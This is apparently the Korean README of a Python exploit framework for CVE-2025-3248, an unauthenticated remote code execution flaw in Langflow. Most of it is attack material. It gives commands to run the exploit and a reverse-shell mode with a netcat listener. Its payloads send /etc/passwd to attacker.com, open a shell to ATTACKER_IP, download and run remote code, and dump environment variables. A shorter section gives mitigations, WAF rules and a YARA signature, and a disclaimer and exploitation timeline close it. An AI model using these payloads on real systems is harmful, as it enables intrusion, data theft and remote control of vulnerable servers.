
CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크로, Langflow 버전 ≤ 1.3.0에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다.
Langflow 버전 ≤ 1.3.0에 영향을 미치는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-3248을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크입니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-3248 |
| 제품 | Langflow |
| 영향을 받는 버전 | ≤ 1.3.0 |
| 취약점 유형 | 무인증 원격 코드 실행 (RCE) |
| 공격 경로 | 네트워크 |
| 인증 필요 | 없음 |
| CVSS 점수 | 9.8 (치명적) |
| EPSS 점수 | 92.57% |
| CWE | CWE-94 (코드 생성의 부적절한 제어) |
| 취약 엔드포인트 | /api/v1/validate/code |
이 취약점은 임의의 Python 코드를 허용하고, 적절한 입력 검증(sanitization)이나 샌드박싱 없이 Python의 안전하지 않은 exec() 함수를 사용하여 이를 검증하는 /api/v1/validate/code API 엔드포인트에 존재합니다. 이 취약점은 다음과 같은 Python의 동작을 악용합니다:
Attacker → POST /api/v1/validate/code → Python exec() → RCE
↓
No Auth Required
↓
Arbitrary Python Code
↓
System Command Execution
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # For Windows color support
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <target_url> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
1단계: 자신의 머신에서 netcat 리스너 시작
nc -lvnp 4444
2단계: 익스플로잇 실행
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444
예시:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
positional arguments:
None
optional arguments:
-t, --target TARGET Target URL (e.g., http://target.com) [REQUIRED]
-c, --command COMMAND Command to execute (default: id)
--timeout TIMEOUT Request timeout in seconds (default: 10)
--exploit Enable exploitation mode (reverse shell)
--lhost LHOST Your IP address for reverse shell
--lport LPORT Your port for reverse shell
-h, --help Show this help message
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
Langflow 업그레이드
pip install langflow>=1.3.0
# or
docker pull langflow:latest
네트워크 접근 제한
# Nginx reverse proxy - block vulnerable endpoint
location /api/v1/validate/code {
deny all;
}
인증 구현
# Add authentication middleware
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
ModSecurity 규칙:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
YARA 시그니처:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code에 대한 비정상적인 POST 요청/tmp에 비정상적인 타임스탬프로 생성된 파일취약점 체인은 다음과 같이 작동합니다:
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# Server processes it:
exec(code) # ← Dangerous! No sanitization
# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')
# Result: Arbitrary command execution
함수 정의 중 데코레이터에 대한 Python의 동작:
# This code gets executed immediately:
@decorator_expression
def my_function():
pass
# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
pass
승인된 보안 테스트를 수행할 때:
기여를 환영합니다! 다음 지침을 따라주세요:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)중요 법적 고지:
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 다음을 포함한 법률을 위반합니다:
제작자와 기여자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
최종 업데이트: 2025년 11월 21일
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0 ║
║ Use Responsibly - Authorized Testing Only ║
╚═══════════════════════════════════════════════════════════╝
| 날짜 | 이벤트 |
|---|
| 2025-04-06 | 취약점 발견 및 Langflow 팀에 보고 |
| 2025-04-17 | 공개 익스플로잇 공개 (Exploit-DB) |
| 2025-05-14 | FortiguardLabs 확산 경보 발령 |
| 2025-05-21 | Zscaler ThreatLabz 분석 게시 |
| 2025-05-22 | RecordedFuture, 활발한 악용 보고 |
| 2025-06-16 | TrendMicro, FLODRIC 봇넷 악용 보고 |
| 2025-06-17 | OffSec 종합 분석 게시 |
| 2025-11-05 | SentinelOne 취약점 데이터베이스 등재 |
| 2025-11-20 | 지속적인 악용 시도 관찰 |